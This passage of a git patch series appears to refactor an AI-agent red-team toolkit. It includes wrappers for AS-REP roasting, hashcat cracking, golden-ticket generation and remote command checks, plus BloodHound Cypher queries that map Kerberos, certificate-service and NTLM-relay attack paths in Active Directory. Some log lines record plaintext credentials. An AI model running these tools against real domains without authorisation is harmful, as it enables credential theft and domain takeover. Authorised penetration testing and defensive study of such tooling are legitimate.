f"/tmp/asrep_users_{domain.replace('.', '_')}.txt" - with Path.open(temp_userfile, "w") as f: + with tempfile.NamedTemporaryFile(mode="w'", delete=False, suffix=".txt") as f: + temp_userfile = f.name f.write("\n".join(user_list)) cmd.extend(["-usersfile", temp_userfile]) try: logger.info(f"[*] AS-REP roasting {domain} using {username}:{password}") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) # noqa: S603 return result.stdout except subprocess.TimeoutExpired: @@ -457,7 +452,7 @@ def hashcat( "--force", ] - result = subprocess.run( + result = subprocess.run( # noqa: S603 cmd, check=False, capture_output=True, @@ -465,9 +460,13 @@ def hashcat( timeout=(max_time_minutes * 60) + 30, ) + if result.returncode not in (0, 1, 2): # 0=OK,1=No hashes cracked,2=Exhausted + logger.error(f"[!] Hashcat failed: {result.stderr}") + return f"Hashcat failed: {result.stderr}" + show_cmd = ["hashcat", "-m", str(hashcat_mode), hash_file_path, "--show"] - show_result = subprocess.run( + show_result = subprocess.run( # noqa: S603 show_cmd, check=False, capture_output=True, @@ -488,90 +487,7 @@ def hashcat( except subprocess.TimeoutExpired: return "Error: Command timed out" except Exception as e: - return f"Error: {e!s}" - - -@tool() -def john_the_ripper( - hash_value: str, - hash_format: str = "krb5asrep", - wordlist_path: str = "/usr/share/wordlists/rockyou.txt", - max_time_minutes: int = 10, -) -> str: - """ - Attempt to crack a password hash using John the Ripper. - - Args: - hash_value: Hash to crack - hash_format: John hash format to use (e.g., 'krb5asrep', 'krb5tgs', 'ntlm', 'md5') - wordlist_path: Path to wordlist file (default: /usr/share/wordlists/rockyou.txt) - max_time_minutes: Maximum time to spend cracking - - Returns: - String output from john - - Example: - >>> result = john_crack("$krb5asrep$23$john.oliver@CC...", - ... "krb5asrep", "/usr/share/wordlists/rockyou.txt") - """ - - try: - with tempfile.NamedTemporaryFile(mode="w", suffix=".hash", delete=False) as hash_file: - hash_file.write(hash_value) - hash_file_path = hash_file.name - - try: - cmd = [ - "john", - "--wordlist=" + wordlist_path, - "--format=" + hash_format, - hash_file_path, - ] - - session_name = f"john_session_{int(time.time())}" - cmd.extend(["--session=" + session_name]) - - subprocess.run( - cmd, - check=False, - capture_output=True, - text=True, - timeout=(max_time_minutes * 60) + 30, - ) - - show_cmd = ["john", "--show", "--format=" + hash_format, hash_file_path] - - show_result = subprocess.run( - show_cmd, - check=False, - capture_output=True, - text=True, - timeout=30, - ) - - if show_result.stdout.strip(): - output = "\nCracked passwords:\n" + show_result.stdout - logger.info(f"[*] John the Ripper completed for {hash_value} result: {output}") - return output - - finally: - if Path.exists(hash_file_path): - Path.unlink(hash_file_path) - - session_files = [ - f"{session_name}.pot", - f"{session_name}.rec", - f"{session_name}.log", - ] - for session_file in session_files: - if Path.exists(session_file): - try: - Path.unlink(session_file) - except Exception: - pass - - except subprocess.TimeoutExpired: - return "Error: Command timed out" + return f"Error: {e}" @tool() @@ -609,7 +525,7 @@ def domain_admin_checker( cmd.extend(["-x", "whoami"]) - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 if result.returncode != 0: logger.error(f"[!] Domain admin checker failed: {result.stderr}") @@ -629,7 +545,7 @@ def domain_admin_checker( ) except subprocess.TimeoutExpired: - raise TimeoutError(f"Domain admin checker timed out for {targets}") + raise TimeoutError(f"Domain admin checker timed out for {targets}") from None except Exception as e: logger.error( f"Domain admin checker failed for {targets} username: {username} password: {password} hash: {hash} error: {e}" @@ -665,7 +581,7 @@ def get_sid( try: logger.info(f"[*] Getting SID for {domain} using {username}:{password}") logger.info(f"[*] Command: {cmd}") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 logger.info(f"[*] SID output for {domain} is {result.stdout}") logger.info(f"[*] SID error for {domain} is {result.stderr}") @@ -717,7 +633,7 @@ def generate_golden_ticket( try: logger.info("[*] Generating golden ticket for Administrator") logger.info(f"[*] Command: {cmd}") - result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 return result.stdout except subprocess.TimeoutExpired: diff --git a/pyproject.toml b/pyproject.toml index caaba069..34edb576 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -120,6 +120,7 @@ ignore = [ "FIX002", # contains todo, consider fixing "COM812", # disabled for formatting "ISC001", # disabled for formatting + "BLE001", # disabled blind exceptions ] [tool.ruff.format] From d1e4f5a45e22f502f8aa63ea5416f0e41829b632 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Sun, 24 Aug 2025 19:26:10 -0600 Subject: [PATCH 17/60] fix linting --- dreadnode/agent/tools/task/finish.py | 44 +++++++++++++++++++++++----- 1 file changed, 36 insertions(+), 8 deletions(-) diff --git a/dreadnode/agent/tools/task/finish.py b/dreadnode/agent/tools/task/finish.py index dc505840..7840b23a 100644 --- a/dreadnode/agent/tools/task/finish.py +++ b/dreadnode/agent/tools/task/finish.py @@ -7,35 +7,63 @@ @tool -async def mark_complete(success: bool, summary: str) -> None: +async def complete_successfully(summary: str) -> None: """ - Mark your task as complete with a success/failure status and markdown summary of actions taken. + Mark your task as successfully completed with a markdown summary of actions taken. ## When to Use This Tool This tool should be called under the following circumstances: 1. **All TODOs are complete**: If you are managing todos, every task in your TODO list has been marked as 'completed'. 2. **No more actions**: You have no further actions to take and have addressed all aspects of the user's request. - 3. **Irrecoverable failure**: You have encountered an error that you cannot resolve, and there are no further steps you can take. 4. **Final Summary**: You are ready to provide a comprehensive summary of all actions taken. ## When NOT to Use This Tool Do not use this tool if: + 1. **The task failed**: Use `mark_as_failed` instead. 2. **You are in the middle of a multi-step process**: The overall task is not yet finished. 3. **A recoverable error has occurred**: You should first attempt to fix the error through all available means. 4. **You are waiting for user feedback**: The task is paused, not finished. ## Best Practices * **Final Step**: This should be the absolute last tool you call. Once invoked, your task is considered finished. - * **Honest Status**: Accurately report the success or failure of the overall task. If any part of the task failed or was not completed, `success` should be `False`. * **Comprehensive Summary**: The `summary` should be a complete and detailed markdown-formatted report of everything you did, including steps taken, tools used, and the final outcome. This is your final report to the user. """ + logger.success("Agent finished the task successfully:") + logger.info(summary) + logger.info("---") + + log_metric("task_success", True) + log_output("task_summary", Markdown(summary)) + + raise Finish + - log_func = logger.success if success else logger.warning - log_func(f"Agent finished the task (success={success}):") +@tool +async def mark_as_failed(summary: str) -> None: + """ + Mark your task as failed with a markdown summary of actions taken and reasons for failure. + + ## When to Use This Tool + This tool should be called under the following circumstances: + 1. **Irrecoverable failure**: You have encountered an error that you cannot resolve, and there are no further steps you can take. + 2. **Final Summary**: You are ready to provide a comprehensive summary of what failed and why. + + ## When NOT to Use This Tool + Do not use this tool if: + 1. **The task succeeded**: Use `complete_successfully` instead. + 2. **You are in the middle of a multi-step process**: The overall task is not yet finished. + 3. **A recoverable error has occurred**: You should first attempt to fix the error through all available means. + 4. **You are waiting for user feedback**: The task is paused, not finished. + + ## Best Practices + * **Final Step**: This should be the absolute last tool you call. Once invoked, your task is considered finished. + * **Comprehensive Summary**: The `summary` should be a complete and detailed markdown-formatted report of what you attempted, where the process failed, and why. This is your final report to the user. + """ + logger.warning("Agent finished the task with failure:") logger.info(summary) logger.info("---") - log_metric("task_success", success) + log_metric("task_success", False) log_output("task_summary", Markdown(summary)) - raise Finish if success else Fail("Agent marked the task as failed.") + raise Fail("Agent marked the task as failed.") From 3f2ee2d689a2673d52b8c454a5c21653473c841b Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Mon, 25 Aug 2025 01:08:33 -0600 Subject: [PATCH 18/60] reset to main pyproject --- pyproject.toml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 34edb576..ed6b9fa5 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -120,7 +120,8 @@ ignore = [ "FIX002", # contains todo, consider fixing "COM812", # disabled for formatting "ISC001", # disabled for formatting - "BLE001", # disabled blind exceptions + "BLE001", # disabled for formatting + "S101", # allow use of assert ] [tool.ruff.format] From cc1b0a611b07be5b506de795314644d60ba1bffb Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Mon, 25 Aug 2025 02:53:32 -0600 Subject: [PATCH 19/60] fix typing --- .gitignore | 3 + dreadnode/agent/tools/bbot/tool.py | 31 +- dreadnode/agent/tools/bloodhound/tool.py | 358 ++++---------- dreadnode/agent/tools/filesystem/tool.py | 2 +- dreadnode/agent/tools/mythic/apollo/tool.py | 435 +----------------- dreadnode/agent/tools/mythic/powerview.py | 46 ++ dreadnode/agent/tools/mythic/rebeus.py | 37 ++ dreadnode/agent/tools/mythic/sharphound.py | 63 +++ dreadnode/agent/tools/mythic/sharpview.py | 139 ++++++ dreadnode/agent/tools/mythic/utils.py | 48 ++ .../agent/tools/pentest/internal/tool.py | 68 ++- dreadnode/agent/tools/ssh/tool.py | 26 +- dreadnode/convert.py | 2 +- examples/agents/bbot/agent.py | 19 + examples/agents/dotnet/agent.py | 5 +- 15 files changed, 530 insertions(+), 752 deletions(-) create mode 100644 dreadnode/agent/tools/mythic/powerview.py create mode 100644 dreadnode/agent/tools/mythic/rebeus.py create mode 100644 dreadnode/agent/tools/mythic/sharphound.py create mode 100644 dreadnode/agent/tools/mythic/sharpview.py create mode 100644 dreadnode/agent/tools/mythic/utils.py diff --git a/.gitignore b/.gitignore index e0bceaab..a92e6552 100644 --- a/.gitignore +++ b/.gitignore @@ -71,6 +71,9 @@ coverage.xml .pytest_cache/ cover/ +.mypy_cache/ +.ruff_cache/ + # Translations *.mo *.pot diff --git a/dreadnode/agent/tools/bbot/tool.py b/dreadnode/agent/tools/bbot/tool.py index aa60caeb..e0a3a717 100644 --- a/dreadnode/agent/tools/bbot/tool.py +++ b/dreadnode/agent/tools/bbot/tool.py @@ -1,19 +1,20 @@ from bbot import Preset, Scanner from pydantic import Field -from rich import print +from rich.console import Console from dreadnode.agent.tools import Toolset +console = Console() + class BBotTool(Toolset): scanner: Scanner | None = Field(default=None, exclude=True) @classmethod - async def create(cls, name: str = "bbot-agent", **kwargs) -> "BBotTool": + async def create(cls, name: str = "bbot-agent", **kwargs: dict) -> "BBotTool": """Factory method to create and initialize a BBOT Tool.""" try: - instance = cls(**kwargs) - instance.name = name + instance = cls(name=name, **kwargs) except (ValueError, TypeError) as e: raise ValueError(f"Failed to create BBOT Tool with name '{name}': {e}") from e @@ -23,29 +24,15 @@ def get_presets(self) -> list[str] | None: """Return the presets available in the BBOT Agent.""" preset = Preset(_log=True, name="bbot_cli_main") - print(preset.all_presets.keys()) + console.print(preset.all_presets.keys()) return list(preset.all_presets.keys()) def get_modules(self) -> list[str] | None: """Return the modules available in the BBOT Agent.""" preset = Preset(_log=True, name="bbot_cli_main") - print(preset.module_loader.all_module_choices) - print(preset.module_loader.output_module_choices) + console.print(preset.module_loader.all_module_choices) + console.print(preset.module_loader.output_module_choices) - print(preset.module_loader.flag_choices) + console.print(preset.module_loader.flag_choices) return None - - -# Usage -if __name__ == "__main__": - import asyncio - - async def main(): - # Try creating with minimal arguments first - agent = await BBotTool.create() - agent.get_presets() - agent.get_modules() - print(f"BBOT Tool created with name: {agent.name}") - - asyncio.run(main()) diff --git a/dreadnode/agent/tools/bloodhound/tool.py b/dreadnode/agent/tools/bloodhound/tool.py index 954b9ce5..46891b06 100644 --- a/dreadnode/agent/tools/bloodhound/tool.py +++ b/dreadnode/agent/tools/bloodhound/tool.py @@ -1,21 +1,13 @@ -import asyncio -import json import os -import time -from pathlib import Path +import typing as t import aiohttp -import rich -from dotenv import load_dotenv from loguru import logger from neo4j import GraphDatabase -from rich.panel import Panel +from rich.console import Console from dreadnode.agent.tools import Toolset, tool_method -# Load environment variables -load_dotenv() - # BloodHound & Neo4j connection details BLOODHOUND_URL = os.getenv("BLOODHOUND_URL", "localhost:8080") BLOODHOUND_USERNAME = os.getenv("BLOODHOUND_USERNAME", "admin") @@ -24,6 +16,8 @@ BLOODHOUND_NEO4J_USERNAME = os.getenv("BLOODHOUND_NEO4J_USERNAME", "neo4j") BLOODHOUND_NEO4J_PASSWORD = os.getenv("BLOODHOUND_NEO4J_PASSWORD", "bloodhoundcommunityedition") +console = Console() + class Bloodhound(Toolset): """Agent Tool API for BloodHound Server""" @@ -58,7 +52,7 @@ async def initialize(self) -> None: if await self._api_authenticate() is None: raise Warning("Could not authenticate to Bloodhound REST API") - async def _api_authenticate(self) -> dict | None: + async def _api_authenticate(self) -> None: """authenticate to Bloodhound API and get access token to use for REST API requests""" url = f"http://{self.config['url']}/api/v2/login" @@ -75,15 +69,12 @@ async def _api_authenticate(self) -> dict | None: auth_token = await resp.json() if auth_token is None or auth_token.get("data", None) is None: - logger.error(self._rich_print("Couldnt authenticate to Bloodhound REST API.")) - return None + logger.error("Authentication to Bloodhound REST API failed") + return self._api_auth_token = auth_token["data"] - return self._api_auth_token - - @tool_method() - async def query_bloodhound(self, query: str): + async def query_bloodhound(self, query: str) -> dict[str, t.Any]: databases = ["neo4j", "bloodhound"] last_error = None @@ -92,19 +83,19 @@ async def query_bloodhound(self, query: str): with self._graph_driver.session(database=db) as session: result = session.run(query) data = [record.data() for record in result] - logger.info(self._rich_print(f"Query successful on database '{db}'")) + logger.info(f"Query successful on database '{db}'") return {"success": True, "data": data} except Exception as e: last_error = e - logger.debug(self._rich_print(f"Query failed on database '{db}': {e!s}")) + logger.debug(f"Query failed on database '{db}': {e!s}") continue - logger.error(self._rich_print(f"Query failed on all databases. Last error: {last_error!s}")) + logger.error(f"Query failed on all databases. Last error: {last_error!s}") return {"success": False, "error": str(last_error)} # Domain Information @tool_method() - async def find_all_domain_admins(self): + async def find_all_domain_admins(self) -> dict[str, t.Any]: query = """ MATCH p = (t:Group)<-[:MemberOf*1..]-(a) WHERE (a:User or a:Computer) and t.objectid ENDS WITH '-512' @@ -114,7 +105,7 @@ async def find_all_domain_admins(self): return await self.query_bloodhound(query) @tool_method() - async def map_domain_trusts(self): + async def map_domain_trusts(self) -> dict[str, t.Any]: query = """ MATCH p = (:Domain)-[:TrustedBy]->(:Domain) RETURN p @@ -123,7 +114,7 @@ async def map_domain_trusts(self): return await self.query_bloodhound(query) @tool_method() - async def find_tier_zero_locations(self): + async def find_tier_zero_locations(self) -> dict[str, t.Any]: query = """ MATCH p = (t:Base)<-[:Contains*1..]-(:Domain) WHERE t.highvalue = true @@ -133,7 +124,7 @@ async def find_tier_zero_locations(self): return await self.query_bloodhound(query) @tool_method() - async def map_ou_structure(self): + async def map_ou_structure(self) -> dict[str, t.Any]: query = """ MATCH p = (:Domain)-[:Contains*1..]->(:OU) RETURN p @@ -143,7 +134,7 @@ async def map_ou_structure(self): # Dangerous Privileges @tool_method() - async def find_dcsync_privileges(self): + async def find_dcsync_privileges(self) -> dict[str, t.Any]: query = """ MATCH p=(:Base)-[:DCSync|AllExtendedRights|GenericAll]->(:Domain) RETURN p @@ -152,7 +143,7 @@ async def find_dcsync_privileges(self): return await self.query_bloodhound(query) @tool_method() - async def find_foreign_group_memberships(self): + async def find_foreign_group_memberships(self) -> dict[str, t.Any]: query = """ MATCH p=(s:Base)-[:MemberOf]->(t:Group) WHERE s.domainsid<>t.domainsid @@ -162,7 +153,7 @@ async def find_foreign_group_memberships(self): return await self.query_bloodhound(query) @tool_method() - async def find_domain_users_local_admins(self): + async def find_domain_users_local_admins(self) -> dict[str, t.Any]: query = """ MATCH p=(s:Group)-[:AdminTo]->(:Computer) WHERE s.objectid ENDS WITH '-513' @@ -172,7 +163,7 @@ async def find_domain_users_local_admins(self): return await self.query_bloodhound(query) @tool_method() - async def find_domain_users_laps_readers(self): + async def find_domain_users_laps_readers(self) -> dict[str, t.Any]: query = """ MATCH p=(s:Group)-[:AllExtendedRights|ReadLAPSPassword]->(:Computer) WHERE s.objectid ENDS WITH '-513' @@ -182,7 +173,7 @@ async def find_domain_users_laps_readers(self): return await self.query_bloodhound(query) @tool_method() - async def find_domain_users_high_value_paths(self): + async def find_domain_users_high_value_paths(self) -> dict[str, t.Any]: query = """ MATCH p=shortestPath((s:Group)-[r*1..]->(t)) WHERE t.highvalue = true AND s.objectid ENDS WITH '-513' AND s<>t @@ -192,7 +183,7 @@ async def find_domain_users_high_value_paths(self): return await self.query_bloodhound(query) @tool_method() - async def find_domain_users_workstation_rdp(self): + async def find_domain_users_workstation_rdp(self) -> dict[str, t.Any]: query = """ MATCH p=(s:Group)-[:CanRDP]->(t:Computer) WHERE s.objectid ENDS WITH '-513' AND NOT toUpper(t.operatingsystem) CONTAINS 'SERVER' @@ -202,7 +193,7 @@ async def find_domain_users_workstation_rdp(self): return await self.query_bloodhound(query) @tool_method() - async def find_domain_users_server_rdp(self): + async def find_domain_users_server_rdp(self) -> dict[str, t.Any]: query = """ MATCH p=(s:Group)-[:CanRDP]->(t:Computer) WHERE s.objectid ENDS WITH '-513' AND toUpper(t.operatingsystem) CONTAINS 'SERVER' @@ -212,7 +203,7 @@ async def find_domain_users_server_rdp(self): return await self.query_bloodhound(query) @tool_method() - async def find_domain_users_privileges(self): + async def find_domain_users_privileges(self) -> dict[str, t.Any]: query = """ MATCH p=(s:Group)-[r]->(:Base) WHERE s.objectid ENDS WITH '-513' @@ -222,7 +213,7 @@ async def find_domain_users_privileges(self): return await self.query_bloodhound(query) @tool_method() - async def find_domain_admin_non_dc_logons(self): + async def find_domain_admin_non_dc_logons(self) -> dict[str, t.Any]: query = """ MATCH (s)-[:MemberOf*0..]->(g:Group) WHERE g.objectid ENDS WITH '-516' @@ -236,7 +227,7 @@ async def find_domain_admin_non_dc_logons(self): # Kerberos Interaction @tool_method() - async def find_kerberoastable_tier_zero(self): + async def find_kerberoastable_tier_zero(self) -> dict[str, t.Any]: query = """ MATCH (u:User) WHERE u.hasspn=true @@ -251,7 +242,7 @@ async def find_kerberoastable_tier_zero(self): return await self.query_bloodhound(query) @tool_method() - async def find_all_kerberoastable_users(self): + async def find_all_kerberoastable_users(self) -> dict[str, t.Any]: query = """ MATCH (u:User) WHERE u.hasspn=true @@ -265,7 +256,7 @@ async def find_all_kerberoastable_users(self): return await self.query_bloodhound(query) @tool_method() - async def find_kerberoastable_most_admin(self): + async def find_kerberoastable_most_admin(self) -> dict[str, t.Any]: query = """ MATCH (u:User) WHERE u.hasspn = true @@ -282,7 +273,7 @@ async def find_kerberoastable_most_admin(self): return await self.query_bloodhound(query) @tool_method() - async def find_asreproast_users(self): + async def find_asreproast_users(self) -> dict[str, t.Any]: query = """ MATCH (u:User) WHERE u.dontreqpreauth = true @@ -294,7 +285,7 @@ async def find_asreproast_users(self): # Shortest Paths @tool_method() - async def find_shortest_paths_unconstrained_delegation(self): + async def find_shortest_paths_unconstrained_delegation(self) -> dict[str, t.Any]: query = """ MATCH p=shortestPath((s)-[r*1..]->(t:Computer)) WHERE t.unconstraineddelegation = true AND s<>t @@ -304,7 +295,7 @@ async def find_shortest_paths_unconstrained_delegation(self): return await self.query_bloodhound(query) @tool_method() - async def find_paths_from_kerberoastable_to_da(self): + async def find_paths_from_kerberoastable_to_da(self) -> dict[str, t.Any]: query = """ MATCH p=shortestPath((s:User)-[r*1..]->(t:Group)) WHERE s.hasspn=true @@ -319,7 +310,7 @@ async def find_paths_from_kerberoastable_to_da(self): return await self.query_bloodhound(query) @tool_method() - async def find_shortest_paths_to_tier_zero(self): + async def find_shortest_paths_to_tier_zero(self) -> dict[str, t.Any]: query = """ MATCH p=shortestPath((s)-[r*1..]->(t)) WHERE t.highvalue = true AND s<>t @@ -329,7 +320,7 @@ async def find_shortest_paths_to_tier_zero(self): return await self.query_bloodhound(query) @tool_method() - async def find_paths_from_domain_users_to_tier_zero(self): + async def find_paths_from_domain_users_to_tier_zero(self) -> dict[str, t.Any]: query = """ MATCH p=shortestPath((s:Group)-[r*1..]->(t)) WHERE t.highvalue = true AND s.objectid ENDS WITH '-513' AND s<>t @@ -339,7 +330,7 @@ async def find_paths_from_domain_users_to_tier_zero(self): return await self.query_bloodhound(query) @tool_method() - async def find_shortest_paths_to_domain_admins(self): + async def find_shortest_paths_to_domain_admins(self) -> dict[str, t.Any]: query = """ MATCH p=shortestPath((t:Group)<-[r*1..]-(s:Base)) WHERE t.objectid ENDS WITH '-512' AND s<>t @@ -349,7 +340,7 @@ async def find_shortest_paths_to_domain_admins(self): return await self.query_bloodhound(query) @tool_method() - async def find_paths_from_owned_objects(self): + async def find_paths_from_owned_objects(self) -> dict[str, t.Any]: query = """ MATCH p=shortestPath((s:Base)-[r*1..]->(t:Base)) WHERE s.owned = true AND s<>t @@ -360,7 +351,7 @@ async def find_paths_from_owned_objects(self): # Active Directory Certificate Services @tool_method() - async def find_pki_hierarchy(self): + async def find_pki_hierarchy(self) -> dict[str, t.Any]: query = """ MATCH p=()-[:HostsCAService|IssuedSignedBy|EnterpriseCAFor|RootCAFor|TrustedForNTAuth|NTAuthStoreFor*..]->(:Domain) RETURN p @@ -369,7 +360,7 @@ async def find_pki_hierarchy(self): return await self.query_bloodhound(query) @tool_method() - async def find_public_key_services(self): + async def find_public_key_services(self) -> dict[str, t.Any]: query = """ MATCH p = (c:Container)-[:Contains*..]->(:Base) WHERE c.distinguishedname starts with 'CN=PUBLIC KEY SERVICES,CN=SERVICES,CN=CONFIGURATION,DC=' @@ -379,7 +370,7 @@ async def find_public_key_services(self): return await self.query_bloodhound(query) @tool_method() - async def find_certificate_enrollment_rights(self): + async def find_certificate_enrollment_rights(self) -> dict[str, t.Any]: query = """ MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) RETURN p @@ -388,7 +379,7 @@ async def find_certificate_enrollment_rights(self): return await self.query_bloodhound(query) @tool_method() - async def find_esc1_vulnerable_templates(self): + async def find_esc1_vulnerable_templates(self) -> dict[str, t.Any]: query = """ MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) WHERE ct.enrolleesuppliessubject = True @@ -401,7 +392,7 @@ async def find_esc1_vulnerable_templates(self): return await self.query_bloodhound(query) @tool_method() - async def find_esc2_vulnerable_templates(self): + async def find_esc2_vulnerable_templates(self) -> dict[str, t.Any]: query = """ MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(c:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) WHERE c.requiresmanagerapproval = false @@ -413,7 +404,7 @@ async def find_esc2_vulnerable_templates(self): return await self.query_bloodhound(query) @tool_method() - async def find_enrollment_agent_templates(self): + async def find_enrollment_agent_templates(self) -> dict[str, t.Any]: query = """ MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) WHERE '1.3.6.1.4.1.311.20.2.1' IN ct.effectiveekus @@ -425,7 +416,7 @@ async def find_enrollment_agent_templates(self): return await self.query_bloodhound(query) @tool_method() - async def find_dcs_weak_certificate_binding(self): + async def find_dcs_weak_certificate_binding(self) -> dict[str, t.Any]: query = """ MATCH p = (s:Computer)-[:DCFor]->(:Domain) WHERE s.strongcertificatebindingenforcementraw = 0 OR s.strongcertificatebindingenforcementraw = 1 @@ -435,7 +426,7 @@ async def find_dcs_weak_certificate_binding(self): return await self.query_bloodhound(query) @tool_method() - async def find_inactive_tier_zero_principals(self): + async def find_inactive_tier_zero_principals(self) -> dict[str, t.Any]: query = """ WITH 60 as inactive_days MATCH (n:Base) @@ -452,7 +443,7 @@ async def find_inactive_tier_zero_principals(self): return await self.query_bloodhound(query) @tool_method() - async def find_tier_zero_without_smartcard(self): + async def find_tier_zero_without_smartcard(self) -> dict[str, t.Any]: query = """ MATCH (u:User) WHERE u.highvalue = true @@ -466,7 +457,7 @@ async def find_tier_zero_without_smartcard(self): return await self.query_bloodhound(query) @tool_method() - async def find_domains_with_machine_quota(self): + async def find_domains_with_machine_quota(self) -> dict[str, t.Any]: query = """ MATCH (d:Domain) WHERE d.machineaccountquota > 0 @@ -475,7 +466,7 @@ async def find_domains_with_machine_quota(self): return await self.query_bloodhound(query) @tool_method() - async def find_smartcard_dont_expire_domains(self): + async def find_smartcard_dont_expire_domains(self) -> dict[str, t.Any]: query = """ MATCH (s:Domain)-[:Contains*1..]->(t:Base) WHERE s.expirepasswordsonsmartcardonlyaccounts = false @@ -486,7 +477,7 @@ async def find_smartcard_dont_expire_domains(self): return await self.query_bloodhound(query) @tool_method() - async def find_two_way_forest_trust_delegation(self): + async def find_two_way_forest_trust_delegation(self) -> dict[str, t.Any]: query = """ MATCH p=(n:Domain)-[r:TrustedBy]->(m:Domain) WHERE (m)-[:TrustedBy]->(n) @@ -497,7 +488,7 @@ async def find_two_way_forest_trust_delegation(self): return await self.query_bloodhound(query) @tool_method() - async def find_unsupported_operating_systems(self): + async def find_unsupported_operating_systems(self) -> dict[str, t.Any]: query = """ MATCH (c:Computer) WHERE c.operatingsystem =~ '(?i).*Windows.* (2000|2003|2008|2012|xp|vista|7|8|me|nt).*' @@ -507,7 +498,7 @@ async def find_unsupported_operating_systems(self): return await self.query_bloodhound(query) @tool_method() - async def find_users_with_no_password_required(self): + async def find_users_with_no_password_required(self) -> dict[str, t.Any]: query = """ MATCH (u:User) WHERE u.passwordnotreqd = true @@ -517,7 +508,7 @@ async def find_users_with_no_password_required(self): return await self.query_bloodhound(query) @tool_method() - async def find_users_password_not_rotated(self): + async def find_users_password_not_rotated(self) -> dict[str, t.Any]: query = """ WITH 365 as days_since_change MATCH (u:User) @@ -529,7 +520,7 @@ async def find_users_password_not_rotated(self): return await self.query_bloodhound(query) @tool_method() - async def find_nested_tier_zero_groups(self): + async def find_nested_tier_zero_groups(self) -> dict[str, t.Any]: query = """ MATCH p=(t:Group)<-[:MemberOf*..]-(s:Group) WHERE t.highvalue = true @@ -541,7 +532,7 @@ async def find_nested_tier_zero_groups(self): return await self.query_bloodhound(query) @tool_method() - async def find_disabled_tier_zero_principals(self): + async def find_disabled_tier_zero_principals(self) -> dict[str, t.Any]: query = """ MATCH (n:Base) WHERE n.highvalue = true @@ -554,7 +545,7 @@ async def find_disabled_tier_zero_principals(self): return await self.query_bloodhound(query) @tool_method() - async def find_principals_reversible_encryption(self): + async def find_principals_reversible_encryption(self) -> dict[str, t.Any]: query = """ MATCH (n:Base) WHERE n.encryptedtextpwdallowed = true @@ -563,7 +554,7 @@ async def find_principals_reversible_encryption(self): return await self.query_bloodhound(query) @tool_method() - async def find_principals_des_only_kerberos(self): + async def find_principals_des_only_kerberos(self) -> dict[str, t.Any]: query = """ MATCH (n:Base) WHERE n.enabled = true @@ -573,7 +564,7 @@ async def find_principals_des_only_kerberos(self): return await self.query_bloodhound(query) @tool_method() - async def find_principals_weak_kerberos_encryption(self): + async def find_principals_weak_kerberos_encryption(self) -> dict[str, t.Any]: query = """ MATCH (u:Base) WHERE 'DES-CBC-CRC' IN u.supportedencryptiontypes @@ -584,7 +575,7 @@ async def find_principals_weak_kerberos_encryption(self): return await self.query_bloodhound(query) @tool_method() - async def find_tier_zero_non_expiring_passwords(self): + async def find_tier_zero_non_expiring_passwords(self) -> dict[str, t.Any]: query = """ MATCH (u:User) WHERE u.enabled = true @@ -597,7 +588,7 @@ async def find_tier_zero_non_expiring_passwords(self): # NTLM Relay Attacks @tool_method() - async def find_ntlm_relay_edges(self): + async def find_ntlm_relay_edges(self) -> dict[str, t.Any]: query = """ MATCH p = (n:Base)-[:CoerceAndRelayNTLMToLDAP|CoerceAndRelayNTLMToLDAPS|CoerceAndRelayNTLMToADCS|CoerceAndRelayNTLMToSMB]->(:Base) RETURN p LIMIT 500 @@ -605,7 +596,7 @@ async def find_ntlm_relay_edges(self): return await self.query_bloodhound(query) @tool_method() - async def find_esc8_vulnerable_cas(self): + async def find_esc8_vulnerable_cas(self) -> dict[str, t.Any]: query = """ MATCH (n:EnterpriseCA) WHERE n.hasvulnerableendpoint=true @@ -614,7 +605,7 @@ async def find_esc8_vulnerable_cas(self): return await self.query_bloodhound(query) @tool_method() - async def find_computers_outbound_ntlm_deny(self): + async def find_computers_outbound_ntlm_deny(self) -> dict[str, t.Any]: query = """ MATCH (c:Computer) WHERE c.restrictoutboundntlm = True @@ -623,7 +614,7 @@ async def find_computers_outbound_ntlm_deny(self): return await self.query_bloodhound(query) @tool_method() - async def find_computers_in_protected_users(self): + async def find_computers_in_protected_users(self) -> dict[str, t.Any]: query = """ MATCH p = (:Base)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH "-525" @@ -632,7 +623,7 @@ async def find_computers_in_protected_users(self): return await self.query_bloodhound(query) @tool_method() - async def find_dcs_vulnerable_ntlm_relay(self): + async def find_dcs_vulnerable_ntlm_relay(self) -> dict[str, t.Any]: query = """ MATCH p = (dc:Computer)-[:DCFor]->(:Domain) WHERE (dc.ldapavailable = True AND dc.ldapsigning = False) @@ -643,7 +634,7 @@ async def find_dcs_vulnerable_ntlm_relay(self): return await self.query_bloodhound(query) @tool_method() - async def find_computers_webclient_running(self): + async def find_computers_webclient_running(self) -> dict[str, t.Any]: query = """ MATCH (c:Computer) WHERE c.webclientrunning = True @@ -652,7 +643,7 @@ async def find_computers_webclient_running(self): return await self.query_bloodhound(query) @tool_method() - async def find_computers_no_smb_signing(self): + async def find_computers_no_smb_signing(self) -> dict[str, t.Any]: query = """ MATCH (n:Computer) WHERE n.smbsigning = False @@ -662,7 +653,7 @@ async def find_computers_no_smb_signing(self): # 